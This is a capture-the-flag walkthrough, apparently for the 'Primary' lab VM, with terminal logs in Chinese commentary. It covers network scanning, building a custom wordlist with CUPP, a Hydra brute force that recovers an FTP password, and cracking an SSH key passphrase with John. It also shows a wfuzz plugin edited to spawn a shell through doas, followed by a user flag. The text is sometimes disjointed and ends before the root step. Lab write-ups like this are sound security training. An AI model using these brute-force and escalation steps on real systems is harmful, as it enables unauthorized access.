❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.234 08:00:27:a5:6f:25 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:f5:54:75 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.093 seconds (122.31 hosts/sec). 4 responded ❯ export ip=192.168.60.234 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- To scan or not to scan? That is the question. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.234:22 Open 192.168.60.234:80 Open 192.168.60.234:8080 Open 192.168.60.234:23333 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 10:57 CST Initiating ARP Ping Scan at 10:57 Scanning 192.168.60.234 [1 port] Completed ARP Ping Scan at 10:57, 0.09s elapsed (1 total hosts) Initiating SYN Stealth Scan at 10:57 Scanning primary.hmv (192.168.60.234) [4 ports] Discovered open port 8080/tcp on 192.168.60.234 Discovered open port 80/tcp on 192.168.60.234 Discovered open port 23333/tcp on 192.168.60.234 Discovered open port 22/tcp on 192.168.60.234 Completed SYN Stealth Scan at 10:57, 0.05s elapsed (4 total ports) Nmap scan report for primary.hmv (192.168.60.234) Host is up, received arp-response (0.00050s latency). Scanned at 2025-03-08 10:57:15 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 8080/tcp open http-proxy syn-ack ttl 64 23333/tcp open elxmgmt syn-ack ttl 64 MAC Address: 08:00:27:A5:6F:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds Raw packets sent: 5 (204B) | Rcvd: 5 (204B)
❯ curl $ip:8080/under_construction <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.56 (Debian) Server at 192.168.60.234 Port 8080</address> </body></html>
Lily, a curious girl, found an old rusty key in the woods. Wondering where it belonged, she asked everyone in the village, but no one knew. One day, she discovered a locked stone well. To her surprise, the key fit. She opened it and descended into a hidden passage. There, she found an ancient chest filled with treasures. But the real treasure was a note inside: “The greatest treasure is the journey, not the prize.” Lily smiled, realizing the adventure was the real reward. 莉莉，一个好奇的女孩，在树林里发现了一把古老生锈的钥匙。想知道它属于哪里，她问村子里的每个人，但没有人知道。有一天，她发现了一个上锁的石井。令她惊讶的是，这把钥匙合适。她打开了它并下到一个隐藏通道中。在那里，她找到了一个装满珍宝的古老箱子。但真正的宝藏是箱子内部的一张纸条：“最大的财富是旅程本身，并非奖品。”莉莉微笑着意识到冒险才是真正的回报。 </body> </html>
************************************************* * WARNING!!! * * Using large wordlists in some * * options bellow is NOT recommended! * *************************************************
> Do you want to concatenate all words from wordlist? Y/[N]: > Do you want to add special chars at the end of words? Y/[N]: > Do you want to add some random numbers at the end of words? Y/[N]: > Leet mode? (i.e. leet = 1337) Y/[N]:
[+] Now making a dictionary... [+] Sorting list and removing duplicates... [+] Saving dictionary to dic.txt.cupp.txt, counting 1545 words. > Hyperspeed Print? (Y/n) : [+] Now load your pistolero with dic.txt.cupp.txt and shoot! Good luck!
尝试hydra爆破一下
得到新的凭证adriana:Lily2020
1 2 3 4 5 6 7 8 9 10
❯ hydra -l adriana -P dic.txt.cupp.txt ftp://$ip:23333 -I Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-08 12:09:19 [DATA] max 16 tasks per 1 server, overall 16 tasks, 1545 login tries (l:1/p:1545), ~97 tries per task [DATA] attacking ftp://192.168.60.234:23333/ [STATUS] 720.00 tries/min, 720 tries in 00:01h, 825 to doin 00:02h, 16 active [23333][ftp] host: 192.168.60.234 login: adriana password: into2006 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-08 12:10:22
❯ ssh2john id_rsa >hash ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 24 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status cassandra (id_rsa) 1g 0:00:00:35 DONE (2025-03-08 13:16) 0.02827g/s 28.95p/s 28.95c/s 28.95C/s andre..bethany Use the "--show" option to display all of the cracked passwords reliably Session completed.
通过私钥的comment发现并未存在备注
1 2 3 4
❯ ssh-keygen -c -f id_rsa Enter passphrase: Old comment: New comment:
尝试分别利用两个用户名连接
用户提权
ssh连接一下，获得一个新的提示
1 2 3 4 5 6 7 8 9 10 11 12 13 14
❯ ssh follower@$ip -i id_rsa Enter passphrase for key 'id_rsa': follower@pepster:~$ id uid=1000(follower) gid=1000(follower) grupos=1000(follower) follower@pepster:~$ cat note.txt Think about rotations and the cat’s secrets.
47 is not just a number, it's a twist of fate. follower@pepster:~$ cat /etc/passwd| grep /bin/bash root:x:0:0:root:/root:/bin/bash follower:x:1000:1000::/home/follower:/bin/bash softly:x:1001:1001::/home/softly:/bin/bash
再次信息收集
发现家目录存在cat.gif图片
1 2 3 4 5
╔══════════╣ Searching root files in home dirs (limit 30) /home/ /home/follower/cat.gif /root/ /var/www/html/post.php
EXIT STATUS The doas utility exits 0 on success, and >0 if an error occurs. It may fail for one of the following reasons:
• The config file /srv/zeus.conf could not be parsed. • The user attempted to run a commandwhich is not permitted. • The password was incorrect. • The specified command was not found or is not executable.
follower@pepster:~$ vi /usr/local/lib/python3.9/dist-packages/wfuzz/plugins/payloads/file.py import pty pty.spawn("/bin/bash") follower@pepster:~$ doas -u softly /usr/local/bin/wfuzz -z file Password: /usr/local/lib/python3.9/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. /usr/local/lib/python3.9/dist-packages/wfuzz/wfuzz.py:77: UserWarning:Fatal exception: Bad usage: You must specify an URL. follower@pepster:~$ doas -u softly /usr/local/bin/wfuzz -z file -u 127.0.0.1 Password: /usr/local/lib/python3.9/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. softly@pepster:/home/follower$
先拿个flag
Root提权
根据doas的配置文件，用户softly可以执行/usr/bin/chromium⁉️
1 2 3
softly@pepster:/home/follower$ cd ~ softly@pepster:~$ cat user.txt flag{c5dbe81aac6438c522d2f79cc7255e6a}
